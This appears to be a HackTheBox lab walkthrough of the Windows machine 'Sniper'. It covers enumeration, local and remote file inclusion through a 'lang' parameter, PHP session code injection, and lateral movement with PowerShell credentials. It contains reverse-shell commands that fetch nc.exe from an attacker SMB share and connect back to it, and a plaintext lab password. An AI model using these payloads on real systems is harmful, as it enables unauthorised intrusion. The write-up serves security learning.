> For the complete documentation index, see [llms.txt](https://akshaydeepakshinde.gitbook.io/hackthebox-windows/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://akshaydeepakshinde.gitbook.io/hackthebox-windows/untitled.md).

# HackTheBox - Sniper

![](/files/-MZDD_j5jh2z94xEdJud)

### Nmap scan results

![](/files/-MZDDeOigwjxXXblg3zT)

I also started a all port scan in the background. So let's start enumerating the web server. **All port scan revealed a new port**.

![](/files/-MZDEspiXRVChdLGYMGm)

### Scanning the webserver with GoBuster

```
gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.10.151/ -o gobuster-dir-root.out -t 10
gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.10.151/blog/ -o gobuster-dir-blog.out -t 10
gobuster dir -w /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.10.151/user/ -o gobuster-dir-user.out -t 10
```

![](/files/-MZDbHvT6vhJxzNa5xGk)

![](/files/-MZDbLYuQNimNIIeKVYF)

![](/files/-MZDbSnhEY-A3N6XIiU7)

### Identifying LFI (Local File Inclusion) vulnerability

We have LFI vulnerability present in the `lang` parameter. To check if it is working, we can try to include **win.ini** file. (Windows File Inclusion)

![](/files/-MZDbvKJRMzs8vKRcoWR)

![](/files/-MZDcJAx8s5CFP0kmp3N)

We can also try Remote File Inclusion and for that I will set up a simple SMB Server on my Linux Machine. I tried using impacket's smb server, but that didn't work. So I will use default SMB Server for this.

### Code Execution using RFI (Remote File Inclusion)

Editing the smb.conf file to setup a Samba Server on my local machine.

![](/files/-MZDd3BhWIEnbnS6Zabs)

![](/files/-MZDdMjW_Zpyg5zcxsDS)

Let's see if this works. We can access shell.php by using `\\10.10.14.5\smb\shell.php`

![](/files/-MZDe3QukvOrTZLbyT_y)

![](/files/-MZDe5wAiKETlBD_xsET)

Yes, we have code execution. Now let's try to get a reverse shell. 

{% hint style="info" %}
One thing to keep in mind, as we are using **SMB** Server to make the transfer and execution of files, we need to change the file permissions to be executable or the payload will not work at all. 
{% endhint %}

```http
http://sniper.htb/blog/?lang=\\10.10.14.5\smb\shell.php&cmd=\\10.10.14.5\smb\nc.exe+10.10.14.5+4444+-e+powershel
```

![](/files/-MZH8SOBfLt418JhjPwh)

{% hint style="info" %}
**rlwrap** is a 'readline wrapper', a small utility that uses the GNU Readline library to allow the editing of keyboard input for any command. 
{% endhint %}

### Injecting Code via PHP Sessions

As we already have Local File Inclusion, we can try to inject PHP Code via sessions. In linux system, the php sessions are stored in /var/lib/php5/sessions but in windows machines, they are stored in **`C:\Windows\Temp`**.

Register a account on the user page and login using the credentials. A cookie will get assigned to you.

![](/files/-MZHKkDVSNZOJElbgFQV)

Now the session will be stored at the following location : **`C:\windows\temp\sess_2gm8cb74cbhn3k2bm4eio55vqv`**

![](/files/-MZHL73r0Qn_aSzdYyyf)

Considering the bad characters, we need to keep the payload short and less intriguing. 

```http
# PHP Payload
<?=`dir`?>
```

We will register a account with the above payload and then check if we get any Code execution or not.

![](/files/-MZHMYB6yVtHqXE9dCNj)

* <https://www.youtube.com/watch?v=k7gD4ufex9Q> (Ippsec's video)
* <https://book.hacktricks.xyz/pentesting-web/file-inclusion#via-php-sessions> (Docs)

### Some powershell Tricks

We need to encode the payload in order to work in powershell environment. We can use **`iconv`** tool in our local kali machine.

```bash
echo "ping -n 3 10.10.14.5" | iconv -t utf-16le | base64 -w 0
```

![](/files/-MZHPAx3-KI0bRlN1Xfu)

![](/files/-MZHPD_eHMNyBsy3KnjI)

{% hint style="info" %}
&#x20;In general, Windows PowerShell uses the Unicode [UTF-16LE](https://wikipedia.org/wiki/UTF-16) encoding by default. However, the default encoding used by cmdlets in Windows PowerShell is not consistent.
{% endhint %}

### Getting Shell as Chris

The same old thing that we used to do in Linux machine was to find SQL credentials and as this machine uses PHP as its back-end, we can potentially search for creds.&#x20;

![](/files/-MZH94gLx0mE8uMjFLPn)

To get information about all the users present in the machine, we can use **net user** command or to get a detailed information about a specific user, we can use **net user \<name>**

![](/files/-MZH9uWZ8dZ7npHbgrsl)

In order to run commands (or to get shell as Chris), we need to create a credential object for that user. As we will be using `Invoke-Command` in powershell

> &#x20;The **PSCredential** is a placeholder for a set of credentials – it basically contains a username and a password. ... By wrapping your credentials as an object and storing it in a Power-Shell variable, e.g. $Credential, you can use it programmatically in any way you see fit.

{% tabs %}
{% tab title="Powershell" %}

```bash
$pass = ConvertTo-SecureString "36mEAhz/B8xQ~2VM" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('SNIPER\chris',$pass)
Invoke-Command -ComputerName SNIPER -Credential $creds -ScriptBlock {whoami}
```

{% endtab %}
{% endtabs %}

`Invoke-Command -ComputerName SNIPER -Credential $creds -ScriptBlock {\10.10.14.5\smb\nc.exe 10.10.14.5 1234 -e powershell}`

![](/files/-MZHBr_ONO-uC1K4K87D)